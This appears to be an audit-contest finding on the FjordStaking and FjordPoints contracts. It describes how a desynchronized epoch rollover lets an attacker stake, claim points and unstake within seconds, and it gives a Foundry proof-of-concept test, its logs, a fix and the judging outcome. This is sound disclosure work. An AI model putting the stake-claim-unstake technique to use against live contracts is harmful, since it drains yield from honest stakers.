DeFiFoundry
20,000 USDC
View results
Submission Details
Severity: medium
Valid

Loss of yield due to unstaking immediately

Summary

A malicious user can abuse the epoch rollover window, between the rollover of the staking contract and the points contract, to "steal" the yield from the users that should rightfully earn the yield. This results also in loss of yield for the rightful users as well.

Vulnerability Details

In the attached test suite, the following scenario takes place. A malicious actor , let's call them Alice, can call the stake function so that funds are deposit in the staking contract. As a result, the onStaked hook will be invoked to the points contract. This actor has a time window to unstake the whole amount they staked, before their deposit gets locked at the epoch rollover. However, until then, if the epoch rolls over on the points contract, all the rightful users will lose yield, since the deposit of Alice dilutes their rewards. Simultaneously, Alice will get yield, which are points that on normal scenario belong to the rest of the stakers.

Add the following test to the stakeUnstake.t.sol file:

function test_PoC() public {
uint256 nextNonce = vm.getNonce(address(this));
address pointDeployAddress = vm.computeCreateAddress(address(this), nextNonce + 1);
fjordStaking = new FjordStaking(
address(token), minter, SABLIER_ADDRESS, authorizedSender, pointDeployAddress
);
skip(15); // skip ~1 block
points = address(new FjordPoints());
assertEq(address(points), pointDeployAddress);
FjordPoints(points).setStakingContract(address(fjordStaking));
uint256 bobAmount = 100 ether;
deal(address(token), bob, bobAmount);
uint256 EPOCH_DURATION = 1 weeks;
console.log("EPOCH_DURATION :", EPOCH_DURATION);
uint256 epochDuration = 86_400 * 7;
console.log("epochDuration :", epochDuration);
uint256 stakingStartTime = fjordStaking.startTime();
uint256 stakingEpoch = fjordStaking.currentEpoch();
uint256 lastDistribution = FjordPoints(points).lastDistribution();
console.log("stakingEpoch bef :", stakingEpoch);
console.log("lastDistribution bef :", lastDistribution);
skip(EPOCH_DURATION - 14);
vm.startPrank(bob);
token.approve(address(fjordStaking), bobAmount);
fjordStaking.stake(bobAmount);
vm.stopPrank();
skip(EPOCH_DURATION); // bob has been staking for 1 epochs
uint256 bobPointsBefore = FjordPoints(points).balanceOf(bob);
vm.prank(bob);
FjordPoints(points).claimPoints();
uint256 bobClaimedPoints = FjordPoints(points).balanceOf(bob) - bobPointsBefore;
console.log("bob claimed points for 1 epoch when staking solo : ", bobClaimedPoints);
stakingEpoch = fjordStaking.currentEpoch();
lastDistribution = FjordPoints(points).lastDistribution();
console.log("stakingEpoch after bob claim :", stakingEpoch);
console.log("lastDistribution after bob claim :", lastDistribution);
console.log("Alice balance before malicious act : ", token.balanceOf(alice));
// alice waits for the perfect moment to stake and get a share of the points pool
// while unstaking within a few blocks in order to avoid locking her funds.
vm.startPrank(alice);
token.approve(address(fjordStaking), 10000 ether);
fjordStaking.stake(10000 ether);
vm.stopPrank();
skip(15);
vm.startPrank(alice);
FjordPoints(points).claimPoints();
fjordStaking.unstake(fjordStaking.currentEpoch(), 10000 ether);
vm.stopPrank();
console.log(
"Alice balance after malicious act (total 15 seconds): ", token.balanceOf(alice)
);
bobPointsBefore = FjordPoints(points).balanceOf(bob);
vm.prank(bob);
FjordPoints(points).claimPoints();
bobClaimedPoints = FjordPoints(points).balanceOf(bob) - bobPointsBefore;
console.log("bob claimed points for 1 epoch when staking with alice : ", bobClaimedPoints);
stakingEpoch = fjordStaking.currentEpoch();
lastDistribution = FjordPoints(points).lastDistribution();
console.log("stakingEpoch af :", stakingEpoch);
console.log("lastDistribution af :", lastDistribution);
}

Running the above test prints the following:

[PASS] test_PoC() (gas: 4770829)
Logs:
EPOCH_DURATION : 604800
epochDuration : 604800
stakingEpoch bef : 1
lastDistribution bef : 1712397110
bob claimed points for 1 epoch when staking solo : 100000000000000000000
stakingEpoch after bob claim : 2
lastDistribution after bob claim : 1713001910
Alice balance before malicious act : 10000000000000000000000
Alice balance after malicious act (total 15 seconds): 10000000000000000000000
bob claimed points for 1 epoch when staking with alice : 990099009900990000
stakingEpoch af : 3
lastDistribution af : 1713606710
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 744.42ms (1.14ms CPU time)

(Making the above output "prettier" so that the finding is better understanded):
Rewards that Bob should rightfully take: 100000000000000000000

Rewards that Bob takes if Alice performs this attack: 990099009900990000

Percentage loss of yield of Bob: ( 100000000000000000000 - 990099009900990000 ) / 100000000000000000000 = 0.99 = 99%

The percentage loss of yield depends on rightful stakers deposits and the deposit of the malicious actor, however an specific scenarios, the loss of yield can be quite severe.

Impact

Loss of yield, so loss of rewards for rightful users.

Tools Used

Manual Review

Recommendations

The project should implement a function similar to common initialize function. Essentially, this function will be responsible for "syncing" the starting time of both contracts, so that there are no windows that malicious actors can use for their advantage, thereby disadvantaging all the other users as well.

Updates

Lead Judging Commences

inallhonesty Lead Judge about 1 year ago
Submission Judgement Published
Invalidated
Reason: Non-acceptable severity

Appeal created

johny37 Submitter
about 1 year ago
inallhonesty Lead Judge
about 1 year ago
inallhonesty Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

If epoch end times of FjordStaking and FjordPoints are desynchronized, users will be able to exploit the desynchronization to stake>claim>unstake instantly, getting points they shouldn't

Impact: High - Users are getting an unreasonable amount of points through exploiting a vulnerability Likelihood: Low - Most of the times, when using the script, all deployment tx will get processed in the same block. But, there is a small chance for them to be processed in different blocks.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.